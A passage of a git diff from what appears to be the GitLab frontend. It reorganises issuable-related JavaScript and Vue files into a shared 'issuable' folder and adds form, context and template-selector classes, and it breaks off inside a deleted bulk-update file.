diff --git a/app/assets/javascripts/issuable_bulk_update_sidebar/subscription_select.js b/app/assets/javascripts/issuable/bulk_update_sidebar/subscription_select.js
index b12ac776b4f..b12ac776b4f 100644
--- a/app/assets/javascripts/issuable_bulk_update_sidebar/subscription_select.js
+++ b/app/assets/javascripts/issuable/bulk_update_sidebar/subscription_select.js
diff --git a/app/assets/javascripts/issuable/components/issuable_by_email.vue b/app/assets/javascripts/issuable/components/issuable_by_email.vue
index 799d2bdc9e2..512fa6f8c68 100644
--- a/app/assets/javascripts/issuable/components/issuable_by_email.vue
+++ b/app/assets/javascripts/issuable/components/issuable_by_email.vue
@@ -54,8 +54,7 @@ export default {
data() {
return {
email: this.initialEmail,
- // eslint-disable-next-line @gitlab/require-i18n-strings
- issuableName: this.issuableType === 'issue' ? 'issue' : 'merge request',
+ issuableName: this.issuableType === 'issue' ? __('issue') : __('merge request'),
};
},
computed: {
diff --git a/app/assets/javascripts/vue_shared/components/issuable/issuable_header_warnings.vue b/app/assets/javascripts/issuable/components/issuable_header_warnings.vue
index 82223ab9ef4..82223ab9ef4 100644
--- a/app/assets/javascripts/vue_shared/components/issuable/issuable_header_warnings.vue
+++ b/app/assets/javascripts/issuable/components/issuable_header_warnings.vue
diff --git a/app/assets/javascripts/vue_shared/components/issue/issue_assignees.vue b/app/assets/javascripts/issuable/components/issue_assignees.vue
index 5955f31fc70..5955f31fc70 100644
--- a/app/assets/javascripts/vue_shared/components/issue/issue_assignees.vue
+++ b/app/assets/javascripts/issuable/components/issue_assignees.vue
diff --git a/app/assets/javascripts/vue_shared/components/issue/issue_milestone.vue b/app/assets/javascripts/issuable/components/issue_milestone.vue
index 6a0c21602bd..6a0c21602bd 100644
--- a/app/assets/javascripts/vue_shared/components/issue/issue_milestone.vue
+++ b/app/assets/javascripts/issuable/components/issue_milestone.vue
diff --git a/app/assets/javascripts/issuable/components/related_issuable_item.vue b/app/assets/javascripts/issuable/components/related_issuable_item.vue
new file mode 100644
index 00000000000..2bb0e3c80f9
--- /dev/null
+++ b/app/assets/javascripts/issuable/components/related_issuable_item.vue
@@ -0,0 +1,201 @@
+<script>
+import '~/commons/bootstrap';
+import {
+ GlIcon,
+ GlTooltip,
+ GlTooltipDirective,
+ GlButton,
+ GlSafeHtmlDirective as SafeHtml,
+} from '@gitlab/ui';
+import IssueDueDate from '~/boards/components/issue_due_date.vue';
+import { sprintf } from '~/locale';
+import CiIcon from '~/vue_shared/components/ci_icon.vue';
+import relatedIssuableMixin from '../mixins/related_issuable_mixin';
+import IssueAssignees from './issue_assignees.vue';
+import IssueMilestone from './issue_milestone.vue';
+
+export default {
+ name: 'IssueItem',
+ components: {
+ IssueMilestone,
+ IssueAssignees,
+ CiIcon,
+ GlIcon,
+ GlTooltip,
+ IssueWeight: () => import('ee_component/boards/components/issue_card_weight.vue'),
+ IssueDueDate,
+ GlButton,
+ },
+ directives: {
+ GlTooltip: GlTooltipDirective,
+ SafeHtml,
+ },
+ mixins: [relatedIssuableMixin],
+ props: {
+ canReorder: {
+ type: Boolean,
+ required: false,
+ default: false,
+ },
+ isLocked: {
+ type: Boolean,
+ required: false,
+ default: false,
+ },
+ lockedMessage: {
+ type: String,
+ required: false,
+ default: '',
+ },
+ },
+ computed: {
+ stateTitle() {
+ return sprintf(
+ '<span class="bold">%{state}</span> %{timeInWords}<br/><span class="text-tertiary">%{timestamp}</span>',
+ {
+ state: this.stateText,
+ timeInWords: this.stateTimeInWords,
+ timestamp: this.stateTimestamp,
+ },
+ );
+ },
+ iconClasses() {
+ return `${this.iconClass} ic-${this.iconName}`;
+ },
+ },
+};
+</script>
+
+<template>
+ <div
+ :class="{
+ 'issuable-info-container': !canReorder,
+ 'card-body': canReorder,
+ }"
+ class="item-body d-flex align-items-center py-2 px-3"
+ >
+ <div
+ class="item-contents gl-display-flex gl-align-items-center gl-flex-wrap gl-flex-grow-1 flex-xl-nowrap gl-min-h-7"
+ >
+ <!-- Title area: Status icon (XL) and title -->
+ <div class="item-title d-flex align-items-xl-center mb-xl-0 gl-min-w-0">
+ <div ref="iconElementXL">
+ <gl-icon
+ v-if="hasState"
+ ref="iconElementXL"
+ class="mr-2 d-block"
+ :class="iconClasses"
+ :name="iconName"
+ :title="stateTitle"
+ :aria-label="state"
+ />
+ </div>
+ <gl-tooltip :target="() => $refs.iconElementXL">
+ <span v-safe-html="stateTitle"></span>
+ </gl-tooltip>
+ <gl-icon
+ v-if="confidential"
+ v-gl-tooltip
+ name="eye-slash"
+ :title="__('Confidential')"
+ class="confidential-icon gl-mr-2 align-self-baseline align-self-md-auto mt-xl-0"
+ :aria-label="__('Confidential')"
+ />
+ <a :href="computedPath" class="sortable-link gl-font-weight-normal">{{ title }}</a>
+ </div>
+
+ <!-- Info area: meta, path, and assignees -->
+ <div class="item-info-area d-flex flex-xl-grow-1 flex-shrink-0">
+ <!-- Meta area: path and attributes -->
+ <!-- If there is no room beside the path, meta attributes are put ABOVE it (flex-wrap-reverse). -->
+ <!-- See design: https://gitlab-org.gitlab.io/gitlab-design/hosted/pedro/%2383-issue-mr-rows-cards-spec-previews/#artboard16 -->
+ <div
+ class="item-meta d-flex flex-wrap-reverse justify-content-start justify-content-md-between"
+ >
+ <!-- Path area: status icon (<XL), path, issue # -->
+ <div
+ class="item-path-area item-path-id d-flex align-items-center mr-2 mt-2 mt-xl-0 ml-xl-2"
+ >
+ <gl-tooltip :target="() => this.$refs.iconElement">
+ <span v-safe-html="stateTitle"></span>
+ </gl-tooltip>
+ <span v-gl-tooltip :title="itemPath" class="path-id-text d-inline-block">{{
+ itemPath
+ }}</span>
+ <span>{{ pathIdSeparator }}{{ itemId }}</span>
+ </div>
+
+ <!-- Attributes area: CI, epic count, weight, milestone -->
+ <!-- They have a different order on large screen sizes -->
+ <div class="item-attributes-area d-flex align-items-center mt-2 mt-xl-0">
+ <span v-if="hasPipeline" class="mr-ci-status order-md-last">
+ <a :href="pipelineStatus.details_path">
+ <ci-icon v-gl-tooltip :status="pipelineStatus" :title="pipelineStatusTooltip" />
+ </a>
+ </span>
+
+ <issue-milestone
+ v-if="hasMilestone"
+ :milestone="milestone"
+ class="d-flex align-items-center item-milestone order-md-first ml-md-0"
+ />
+
+ <!-- Flex order for slots is defined in the parent component: e.g. related_issues_block.vue -->
+ <span v-if="weight > 0" class="order-md-1">
+ <issue-weight
+ :weight="weight"
+ class="item-weight gl-display-flex gl-align-items-center"
+ tag-name="span"
+ />
+ </span>
+
+ <span v-if="dueDate" class="order-md-1">
+ <issue-due-date
+ :date="dueDate"
+ :closed="Boolean(closedAt)"
+ tooltip-placement="top"
+ css-class="item-due-date gl-display-flex gl-align-items-center"
+ />
+ </span>
+
+ <issue-assignees
+ v-if="hasAssignees"
+ :assignees="assignees"
+ class="item-assignees align-items-center align-self-end flex-shrink-0 order-md-2 d-none d-md-flex"
+ />
+ </div>
+ </div>
+
+ <!-- Assignees. On small layouts, these are put here, at the end of the card. -->
+ <issue-assignees
+ v-if="assignees.length !== 0"
+ :assignees="assignees"
+ class="item-assignees d-flex align-items-center align-self-end flex-shrink-0 d-md-none ml-2"
+ />
+ </div>
+ </div>
+
+ <span
+ v-if="isLocked"
+ ref="lockIcon"
+ v-gl-tooltip
+ class="gl-px-3 gl-display-inline-block gl-cursor-not-allowed"
+ :title="lockedMessage"
+ >
+ <gl-icon name="lock" />
+ </span>
+ <gl-button
+ v-else-if="canRemove"
+ ref="removeButton"
+ v-gl-tooltip
+ icon="close"
+ category="tertiary"
+ :disabled="removeDisabled"
+ class="js-issue-item-remove-button gl-ml-3"
+ data-qa-selector="remove_related_issue_button"
+ :title="__('Remove')"
+ :aria-label="__('Remove')"
+ @click="onRemoveRequest"
+ />
+ </div>
+</template>
diff --git a/app/assets/javascripts/issuable/constants.js b/app/assets/javascripts/issuable/constants.js
index 9344f4a7c9a..5327f251fda 100644
--- a/app/assets/javascripts/issuable/constants.js
+++ b/app/assets/javascripts/issuable/constants.js
@@ -4,3 +4,8 @@ export const ISSUABLE_TYPE = {
issues: 'issues',
mergeRequests: 'merge-requests',
};
+
+export const ISSUABLE_INDEX = {
+ ISSUE: 'issue_',
+ MERGE_REQUEST: 'merge_request_',
+};
diff --git a/app/assets/javascripts/issuable/index.js b/app/assets/javascripts/issuable/index.js
new file mode 100644
index 00000000000..072422944f5
--- /dev/null
+++ b/app/assets/javascripts/issuable/index.js
@@ -0,0 +1,116 @@
+import { GlToast } from '@gitlab/ui';
+import Vue from 'vue';
+import IssuableContext from '~/issuable/issuable_context';
+import { parseBoolean } from '~/lib/utils/common_utils';
+import Sidebar from '~/right_sidebar';
+import { getSidebarOptions } from '~/sidebar/mount_sidebar';
+import CsvImportExportButtons from './components/csv_import_export_buttons.vue';
+import IssuableByEmail from './components/issuable_by_email.vue';
+import IssuableHeaderWarnings from './components/issuable_header_warnings.vue';
+
+export function initCsvImportExportButtons() {
+ const el = document.querySelector('.js-csv-import-export-buttons');
+
+ if (!el) return null;
+
+ const {
+ showExportButton,
+ showImportButton,
+ issuableType,
+ issuableCount,
+ email,
+ exportCsvPath,
+ importCsvIssuesPath,
+ containerClass,
+ canEdit,
+ projectImportJiraPath,
+ maxAttachmentSize,
+ showLabel,
+ } = el.dataset;
+
+ return new Vue({
+ el,
+ provide: {
+ showExportButton: parseBoolean(showExportButton),
+ showImportButton: parseBoolean(showImportButton),
+ issuableType,
+ email,
+ importCsvIssuesPath,
+ containerClass,
+ canEdit: parseBoolean(canEdit),
+ projectImportJiraPath,
+ maxAttachmentSize,
+ showLabel,
+ },
+ render(h) {
+ return h(CsvImportExportButtons, {
+ props: {
+ exportCsvPath,
+ issuableCount: parseInt(issuableCount, 10),
+ },
+ });
+ },
+ });
+}
+
+export function initIssuableByEmail() {
+ Vue.use(GlToast);
+
+ const el = document.querySelector('.js-issuable-by-email');
+
+ if (!el) return null;
+
+ const {
+ initialEmail,
+ issuableType,
+ emailsHelpPagePath,
+ quickActionsHelpPath,
+ markdownHelpPath,
+ resetPath,
+ } = el.dataset;
+
+ return new Vue({
+ el,
+ provide: {
+ initialEmail,
+ issuableType,
+ emailsHelpPagePath,
+ quickActionsHelpPath,
+ markdownHelpPath,
+ resetPath,
+ },
+ render(h) {
+ return h(IssuableByEmail);
+ },
+ });
+}
+
+export function initIssuableHeaderWarnings(store) {
+ const el = document.getElementById('js-issuable-header-warnings');
+
+ if (!el) {
+ return false;
+ }
+
+ const { hidden } = el.dataset;
+
+ return new Vue({
+ el,
+ store,
+ provide: { hidden: parseBoolean(hidden) },
+ render(createElement) {
+ return createElement(IssuableHeaderWarnings);
+ },
+ });
+}
+
+export function initIssuableSidebar() {
+ const sidebarOptEl = document.querySelector('.js-sidebar-options');
+
+ if (!sidebarOptEl) return;
+
+ const sidebarOptions = getSidebarOptions(sidebarOptEl);
+
+ new IssuableContext(sidebarOptions.currentUser); // eslint-disable-line no-new
+ Sidebar.initialize();
+}
diff --git a/app/assets/javascripts/issuable/init_csv_import_export_buttons.js b/app/assets/javascripts/issuable/init_csv_import_export_buttons.js
deleted file mode 100644
index 83163e3c478..00000000000
--- a/app/assets/javascripts/issuable/init_csv_import_export_buttons.js
+++ /dev/null
@@ -1,48 +0,0 @@
-import Vue from 'vue';
-import { parseBoolean } from '~/lib/utils/common_utils';
-import CsvImportExportButtons from './components/csv_import_export_buttons.vue';
-
-export default () => {
- const el = document.querySelector('.js-csv-import-export-buttons');
-
- if (!el) return null;
-
- const {
- showExportButton,
- showImportButton,
- issuableType,
- issuableCount,
- email,
- exportCsvPath,
- importCsvIssuesPath,
- containerClass,
- canEdit,
- projectImportJiraPath,
- maxAttachmentSize,
- showLabel,
- } = el.dataset;
-
- return new Vue({
- el,
- provide: {
- showExportButton: parseBoolean(showExportButton),
- showImportButton: parseBoolean(showImportButton),
- issuableType,
- email,
- importCsvIssuesPath,
- containerClass,
- canEdit: parseBoolean(canEdit),
- projectImportJiraPath,
- maxAttachmentSize,
- showLabel,
- },
- render(h) {
- return h(CsvImportExportButtons, {
- props: {
- exportCsvPath,
- issuableCount: parseInt(issuableCount, 10),
- },
- });
- },
- });
-};
diff --git a/app/assets/javascripts/issuable/init_issuable_by_email.js b/app/assets/javascripts/issuable/init_issuable_by_email.js
deleted file mode 100644
index 984b826234c..00000000000
--- a/app/assets/javascripts/issuable/init_issuable_by_email.js
+++ /dev/null
@@ -1,35 +0,0 @@
-import { GlToast } from '@gitlab/ui';
-import Vue from 'vue';
-import IssuableByEmail from './components/issuable_by_email.vue';
-
-Vue.use(GlToast);
-
-export default () => {
- const el = document.querySelector('.js-issueable-by-email');
-
- if (!el) return null;
-
- const {
- initialEmail,
- issuableType,
- emailsHelpPagePath,
- quickActionsHelpPath,
- markdownHelpPath,
- resetPath,
- } = el.dataset;
-
- return new Vue({
- el,
- provide: {
- initialEmail,
- issuableType,
- emailsHelpPagePath,
- quickActionsHelpPath,
- markdownHelpPath,
- resetPath,
- },
- render(h) {
- return h(IssuableByEmail);
- },
- });
-};
diff --git a/app/assets/javascripts/issuable/issuable_context.js b/app/assets/javascripts/issuable/issuable_context.js
new file mode 100644
index 00000000000..453305dd6e0
--- /dev/null
+++ b/app/assets/javascripts/issuable/issuable_context.js
@@ -0,0 +1,69 @@
+import { GlBreakpointInstance as bp } from '@gitlab/ui/dist/utils';
+import $ from 'jquery';
+import Cookies from 'js-cookie';
+import { loadCSSFile } from '~/lib/utils/css_utils';
+import UsersSelect from '~/users_select';
+
+export default class IssuableContext {
+ constructor(currentUser) {
+ this.userSelect = new UsersSelect(currentUser);
+ this.reviewersSelect = new UsersSelect(currentUser, '.js-reviewer-search');
+
+ const $select2 = $('select.select2');
+
+ if ($select2.length) {
+ import(/* webpackChunkName: 'select2' */ 'select2/select2')
+ .then(() => {
+ // eslint-disable-next-line promise/no-nesting
+ loadCSSFile(gon.select2_css_path)
+ .then(() => {
+ $select2.select2({
+ width: 'resolve',
+ dropdownAutoWidth: true,
+ });
+ })
+ .catch(() => {});
+ })
+ .catch(() => {});
+ }
+
+ $('.issuable-sidebar .inline-update').on('change', 'select', function onClickSelect() {
+ return $(this).submit();
+ });
+ $('.issuable-sidebar .inline-update').on('change', '.js-assignee', function onClickAssignee() {
+ return $(this).submit();
+ });
+ $(document)
+ .off('click', '.issuable-sidebar .dropdown-content a')
+ .on('click', '.issuable-sidebar .dropdown-content a', (e) => e.preventDefault());
+
+ $(document)
+ .off('click', '.edit-link')
+ .on('click', '.edit-link', function onClickEdit(e) {
+ e.preventDefault();
+ const $block = $(this).parents('.block');
+ const $selectbox = $block.find('.selectbox');
+ if ($selectbox.is(':visible')) {
+ $selectbox.hide();
+ $block.find('.value:not(.dont-hide)').show();
+ } else {
+ $selectbox.show();
+ $block.find('.value:not(.dont-hide)').hide();
+ }
+
+ if ($selectbox.is(':visible')) {
+ setTimeout(() => $block.find('.dropdown-menu-toggle').trigger('click'), 0);
+ }
+ });
+
+ window.addEventListener('beforeunload', () => {
+ // collapsed_gutter cookie hides the sidebar
+ const bpBreakpoint = bp.getBreakpointSize();
+ const supportedSizes = ['xs', 'sm', 'md'];
+
+ if (supportedSizes.includes(bpBreakpoint)) {
+ Cookies.set('collapsed_gutter', true);
+ }
+ });
+ }
+}
diff --git a/app/assets/javascripts/issuable/issuable_form.js b/app/assets/javascripts/issuable/issuable_form.js
new file mode 100644
index 00000000000..91f47a86cb7
--- /dev/null
+++ b/app/assets/javascripts/issuable/issuable_form.js
@@ -0,0 +1,219 @@
+import $ from 'jquery';
+import Pikaday from 'pikaday';
+import GfmAutoComplete from 'ee_else_ce/gfm_auto_complete';
+import Autosave from '~/autosave';
+import AutoWidthDropdownSelect from '~/issuable/auto_width_dropdown_select';
+import { loadCSSFile } from '~/lib/utils/css_utils';
+import { parsePikadayDate, pikadayToString } from '~/lib/utils/datetime_utility';
+import { select2AxiosTransport } from '~/lib/utils/select2_utils';
+import { queryToObject, objectToQuery } from '~/lib/utils/url_utility';
+import UsersSelect from '~/users_select';
+import ZenMode from '~/zen_mode';
+
+const MR_SOURCE_BRANCH = 'merge_request[source_branch]';
+const MR_TARGET_BRANCH = 'merge_request[target_branch]';
+
+function organizeQuery(obj, isFallbackKey = false) {
+ if (!obj[MR_SOURCE_BRANCH] && !obj[MR_TARGET_BRANCH]) {
+ return obj;
+ }
+
+ if (isFallbackKey) {
+ return {
+ [MR_SOURCE_BRANCH]: obj[MR_SOURCE_BRANCH],
+ };
+ }
+
+ return {
+ [MR_SOURCE_BRANCH]: obj[MR_SOURCE_BRANCH],
+ [MR_TARGET_BRANCH]: obj[MR_TARGET_BRANCH],
+ };
+}
+
+function format(searchTerm, isFallbackKey = false) {
+ const queryObject = queryToObject(searchTerm, { legacySpacesDecode: true });
+ const organizeQueryObject = organizeQuery(queryObject, isFallbackKey);
+ const formattedQuery = objectToQuery(organizeQueryObject);
+
+ return formattedQuery;
+}
+
+function getFallbackKey() {
+ const searchTerm = format(document.location.search, true);
+ return ['autosave', document.location.pathname, searchTerm].join('/');
+}
+
+export default class IssuableForm {
+ constructor(form) {
+ this.form = form;
+ this.toggleWip = this.toggleWip.bind(this);
+ this.renderWipExplanation = this.renderWipExplanation.bind(this);
+ this.resetAutosave = this.resetAutosave.bind(this);
+ this.handleSubmit = this.handleSubmit.bind(this);
+ // prettier-ignore
+ this.draftRegex = new RegExp(
+ '^\\s*(' + // Line start, then any amount of leading whitespace
+ '\\[draft\\]\\s*' + // [Draft] and any following whitespace
+ '|draft:\\s*' + // Draft: and any following whitespace
+ '|\\(draft\\)\\s*' + // (Draft) and any following whitespace
+ ')+' + // At least one repeated match of the preceding parenthetical
+ '\\s*', // Any amount of trailing whitespace
+ 'i', // Match any case(s)
+ );
+
+ this.gfmAutoComplete = new GfmAutoComplete(
+ gl.GfmAutoComplete && gl.GfmAutoComplete.dataSources,
+ ).setup();
+ this.usersSelect = new UsersSelect();
+ this.reviewersSelect = new UsersSelect(undefined, '.js-reviewer-search');
+ this.zenMode = new ZenMode();
+
+ this.titleField = this.form.find('input[name*="[title]"]');
+ this.descriptionField = this.form.find('textarea[name*="[description]"]');
+ if (!(this.titleField.length && this.descriptionField.length)) {
+ return;
+ }
+
+ this.initAutosave();
+ this.form.on('submit', this.handleSubmit);
+ this.form.on('click', '.btn-cancel', this.resetAutosave);
+ this.initWip();
+
+ const $issuableDueDate = $('#issuable-due-date');
+
+ if ($issuableDueDate.length) {
+ const calendar = new Pikaday({
+ field: $issuableDueDate.get(0),
+ theme: 'gitlab-theme animate-picker',
+ format: 'yyyy-mm-dd',
+ container: $issuableDueDate.parent().get(0),
+ parse: (dateString) => parsePikadayDate(dateString),
+ toString: (date) => pikadayToString(date),
+ onSelect: (dateText) => $issuableDueDate.val(calendar.toString(dateText)),
+ firstDay: gon.first_day_of_week,
+ });
+ calendar.setDate(parsePikadayDate($issuableDueDate.val()));
+ }
+
+ this.$targetBranchSelect = $('.js-target-branch-select', this.form);
+
+ if (this.$targetBranchSelect.length) {
+ this.initTargetBranchDropdown();
+ }
+ }
+
+ initAutosave() {
+ const { search } = document.location;
+ const searchTerm = format(search);
+ const fallbackKey = getFallbackKey();
+
+ this.autosave = new Autosave(
+ this.titleField,
+ [document.location.pathname, searchTerm, 'title'],
+ `${fallbackKey}=title`,
+ );
+
+ return new Autosave(
+ this.descriptionField,
+ [document.location.pathname, searchTerm, 'description'],
+ `${fallbackKey}=description`,
+ );
+ }
+
+ handleSubmit() {
+ return this.resetAutosave();
+ }
+
+ resetAutosave() {
+ this.titleField.data('autosave').reset();
+ return this.descriptionField.data('autosave').reset();
+ }
+
+ initWip() {
+ this.$wipExplanation = this.form.find('.js-wip-explanation');
+ this.$noWipExplanation = this.form.find('.js-no-wip-explanation');
+ if (!(this.$wipExplanation.length && this.$noWipExplanation.length)) {
+ return undefined;
+ }
+ this.form.on('click', '.js-toggle-wip', this.toggleWip);
+ this.titleField.on('keyup blur', this.renderWipExplanation);
+ return this.renderWipExplanation();
+ }
+
+ workInProgress() {
+ return this.draftRegex.test(this.titleField.val());
+ }
+
+ renderWipExplanation() {
+ if (this.workInProgress()) {
+ // These strings are not "translatable" (the code is hard-coded to look for them)
+ this.$wipExplanation.find('code')[0].textContent =
+ 'Draft'; /* eslint-disable-line @gitlab/require-i18n-strings */
+ this.$wipExplanation.show();
+ return this.$noWipExplanation.hide();
+ }
+ this.$wipExplanation.hide();
+ return this.$noWipExplanation.show();
+ }
+
+ toggleWip(event) {
+ event.preventDefault();
+ if (this.workInProgress()) {
+ this.removeWip();
+ } else {
+ this.addWip();
+ }
+ return this.renderWipExplanation();
+ }
+
+ removeWip() {
+ return this.titleField.val(this.titleField.val().replace(this.draftRegex, ''));
+ }
+
+ addWip() {
+ this.titleField.val(`Draft: ${this.titleField.val()}`);
+ }
+
+ initTargetBranchDropdown() {
+ import(/* webpackChunkName: 'select2' */ 'select2/select2')
+ .then(() => {
+ // eslint-disable-next-line promise/no-nesting
+ loadCSSFile(gon.select2_css_path)
+ .then(() => {
+ this.$targetBranchSelect.select2({
+ ...AutoWidthDropdownSelect.selectOptions('js-target-branch-select'),
+ ajax: {
+ url: this.$targetBranchSelect.data('endpoint'),
+ dataType: 'JSON',
+ quietMillis: 250,
+ data(search) {
+ return {
+ search,
+ };
+ },
+ results({ results }) {
+ return {
+ // `data` keys are translated so we can't just access them with a string based key
+ results: results[Object.keys(results)[0]].map((name) => ({
+ id: name,
+ text: name,
+ })),
+ };
+ },
+ transport: select2AxiosTransport,
+ },
+ initSelection(el, callback) {
+ const val = el.val();
+
+ callback({
+ id: val,
+ text: val,
+ });
+ },
+ });
+ })
+ .catch(() => {});
+ })
+ .catch(() => {});
+ }
+}
diff --git a/app/assets/javascripts/issuable/issuable_template_selector.js b/app/assets/javascripts/issuable/issuable_template_selector.js
new file mode 100644
index 00000000000..cce903d388d
--- /dev/null
+++ b/app/assets/javascripts/issuable/issuable_template_selector.js
@@ -0,0 +1,111 @@
+import $ from 'jquery';
+import TemplateSelector from '~/blob/template_selector';
+import { __ } from '~/locale';
+import Api from '../api';
+
+export default class IssuableTemplateSelector extends TemplateSelector {
+ constructor(...args) {
+ super(...args);
+
+ this.projectId = this.dropdown.data('projectId');
+ this.issuableType = this.$dropdownContainer.data('issuableType');
+ this.titleInput = $(`#${this.issuableType}_title`);
+ this.templateWarningEl = $('.js-issuable-template-warning');
+ this.warnTemplateOverride = args[0].warnTemplateOverride;
+
+ const initialQuery = {
+ name: this.dropdown.data('selected'),
+ };
+
+ if (initialQuery.name) this.requestFile(initialQuery);
+
+ $('.reset-template', this.dropdown.parent()).on('click', () => {
+ this.setInputValueToTemplateContent();
+ });
+
+ $('.no-template', this.dropdown.parent()).on('click', () => {
+ this.reset();
+ });
+
+ this.templateWarningEl.find('.js-close-btn').on('click', () => {
+ // Explicitly check against 0 value
+ if (this.previousSelectedIndex !== undefined) {
+ this.dropdown.data('deprecatedJQueryDropdown').selectRowAtIndex(this.previousSelectedIndex);
+ } else {
+ this.reset();
+ }
+
+ this.templateWarningEl.addClass('hidden');
+ });
+
+ this.templateWarningEl.find('.js-override-template').on('click', () => {
+ this.requestFile(this.overridingTemplate);
+ this.setSelectedIndex();
+
+ this.templateWarningEl.addClass('hidden');
+ this.overridingTemplate = null;
+ });
+ }
+
+ reset() {
+ if (this.currentTemplate) {
+ this.currentTemplate.content = '';
+ }
+
+ this.setInputValueToTemplateContent();
+ $('.dropdown-toggle-text', this.dropdown).text(__('Choose a template'));
+ this.previousSelectedIndex = null;
+ }
+
+ setSelectedIndex() {
+ this.previousSelectedIndex = this.dropdown.data('deprecatedJQueryDropdown').selectedIndex;
+ }
+
+ onDropdownClicked(query) {
+ const content = this.getEditorContent();
+ const isContentUnchanged =
+ content === '' || (this.currentTemplate && content === this.currentTemplate.content);
+
+ if (!this.warnTemplateOverride || isContentUnchanged) {
+ super.onDropdownClicked(query);
+ this.setSelectedIndex();
+
+ return;
+ }
+
+ this.overridingTemplate = query.selectedObj;
+ this.templateWarningEl.removeClass('hidden');
+ }
+
+ requestFile(query) {
+ const callback = (currentTemplate) => {
+ this.currentTemplate = currentTemplate;
+ this.stopLoadingSpinner();
+ this.setInputValueToTemplateContent();
+ };
+
+ this.startLoadingSpinner();
+
+ Api.projectTemplate(
+ this.projectId,
+ this.issuableType,
+ query.name,
+ { source_template_project_id: query.project_id },
+ callback,
+ );
+ }
+
+ setInputValueToTemplateContent() {
+ // `this.setEditorContent` sets the value of the description input field
+ // to the content of the template selected.
+ if (this.titleInput.val() === '') {
+ // If the title has not yet been set, focus the title input and
+ // skip focusing the description input by setting `true` as the
+ // `skipFocus` option to `setEditorContent`.
+ this.setEditorContent(this.currentTemplate, { skipFocus: true });
+ this.titleInput.focus();
+ } else {
+ this.setEditorContent(this.currentTemplate, { skipFocus: false });
+ }
+ }
+}
diff --git a/app/assets/javascripts/issuable/issuable_template_selectors.js b/app/assets/javascripts/issuable/issuable_template_selectors.js
new file mode 100644
index 00000000000..92f825e55d3
--- /dev/null
+++ b/app/assets/javascripts/issuable/issuable_template_selectors.js
@@ -0,0 +1,32 @@
+import $ from 'jquery';
+import IssuableTemplateSelector from './issuable_template_selector';
+
+export default class IssuableTemplateSelectors {
+ constructor({ $dropdowns, editor, warnTemplateOverride } = {}) {
+ this.$dropdowns = $dropdowns || $('.js-issuable-selector');
+ this.editor = editor || this.initEditor();
+
+ this.$dropdowns.each((i, dropdown) => {
+ const $dropdown = $(dropdown);
+
+ // eslint-disable-next-line no-new
+ new IssuableTemplateSelector({
+ pattern: /(\.md)/,
+ data: $dropdown.data('data'),
+ wrapper: $dropdown.closest('.js-issuable-selector-wrap'),
+ dropdown: $dropdown,
+ editor: this.editor,
+ warnTemplateOverride,
+ });
+ });
+ }
+
+ // eslint-disable-next-line class-methods-use-this
+ initEditor() {
+ const editor = $('.markdown-area');
+ // Proxy ace-editor's .setValue to jQuery's .val
+ editor.setValue = editor.val;
+ editor.getValue = editor.val;
+ return editor;
+ }
+}
diff --git a/app/assets/javascripts/vue_shared/mixins/related_issuable_mixin.js b/app/assets/javascripts/issuable/mixins/related_issuable_mixin.js
index 4a6edae0c06..4a6edae0c06 100644
--- a/app/assets/javascripts/vue_shared/mixins/related_issuable_mixin.js
+++ b/app/assets/javascripts/issuable/mixins/related_issuable_mixin.js
diff --git a/app/assets/javascripts/issuable_bulk_update_sidebar/issuable_bulk_update_actions.js b/app/assets/javascripts/issuable_bulk_update_sidebar/issuable_bulk_update_actions.js
deleted file mode 100644
index 463e0e5837e..00000000000
--- a/app/assets/javascripts/issuable_bulk_update_sidebar/issuable_bulk_update_actions.js
+++ /dev/null
@@ -1,126 +0,0 @@
-import $ from 'jquery';
-import { difference, intersection, union } from 'lodash';
-import createFlash from '~/flash';
-import axios from '~/lib/utils/axios_utils';
-import { __ } from '~/locale';
-
-export default {
- init({ form, issues, prefixId } = {}) {
- this.prefixId = prefixId || 'issue_';
- this.form = form || this.getElement('.bulk-update');
- this.$labelDropdown = this.form.find('.js-label-select');
- this.issues = issues || this.getElement('.issues-list .issue');
- this.willUpdateLabels = false;
- this.bindEvents();
- },
-
- bindEvents() {
- // eslint-disable-next-line @gitlab/no-global-event-off
- return this.form.off('submit').on('submit', this.onFormSubmit.bind(this));
- },
-
- onFormSubmit(e) {
- e.preventDefault();
- return this.submit();
- },
-
- submit() {
- axios[this.form.attr('method')](this.form.attr('action'), this.getFormDataAsObject())
- .then(() => window.location.reload())
- .catch(() => this.onFormSubmitFailure());
- },
-
- onFormSubmitFailure() {
- this.form.find('[type="submit"]').enable();
- return createFlash({
- message: __('Issue update failed'),
- });
- },
-
- /**
- * Simple form serialization, it will return just what we need
- * Returns key/value pairs from form data
- */
-
- getFormDataAsObject() {
- const formData = {
- update: {
- state_event: this.form.find('input[name="update[state_event]"]').val(),
- assignee_ids: [this.form.find('input[name="update[assignee_ids][]"]').val()],
- milestone_id: this.form.find('input[name="update[milestone_id]"]').val(),
- issuable_ids: this.form.find('input[name="update[issuable_ids]"]').val(),
- subscription_event: this.form.find('input[name="update[subscription_event]"]').val(),
- health_status: this.form.find('input[name="update[health_status]"]').val(),
- epic_id: this.form.find('input[name="update[epic_id]"]').val(),
- sprint_id: this.form.find('input[name="update[iteration_id]"]').val(),
- add_label_ids: [],
- remove_label_ids: [],
- },
- };
- if (this.willUpdateLabels) {
- formData.update.add_label_ids = this.$labelDropdown.data('user-checked');
- formData.update.remove_label_ids = this.$labelDropdown.data('user-unchecked');
- }
- return formData;
- },
-
- setOriginalDropdownData() {
- const $labelSelect = $('.bulk-update .js-label-select');
- const userCheckedIds = $labelSelect.data('user-checked') || [];
- const userUncheckedIds = $labelSelect.data('user-unchecked') || [];
-
- // Common labels plus user checked labels minus user unchecked labels
- const checkedIdsToShow = difference(
- union(this.getOriginalCommonIds(), userCheckedIds),
- userUncheckedIds,
- );
-
- // Indeterminate labels minus user checked labels minus user unchecked labels
- const indeterminateIdsToShow = difference(
- this.getOriginalIndeterminateIds(),
- userCheckedIds,
- userUncheckedIds,
- );
-
- $labelSelect.data('marked', checkedIdsToShow);
- $labelSelect.data('indeterminate', indeterminateIdsToShow);
- },
-
- // From issuable's initial bulk selection
- getOriginalCommonIds() {
- const labelIds = [];
- this.getElement('.issuable-list input[type="checkbox"]:checked').each((i, el) => {
- labelIds.push(this.getElement(`#${this.prefixId}${el.dataset.id}`).data('labels'));
- });
- return intersection.apply(this, labelIds);
- },
-
- // From issuable's initial bulk selection
- getOriginalIndeterminateIds() {
- const uniqueIds = [];
- const labelIds = [];
- let issuableLabels = [];
-
- // Collect unique label IDs for all checked issues
- this.getElement('.issuable-list input[type="checkbox"]:checked').each((i, el) => {
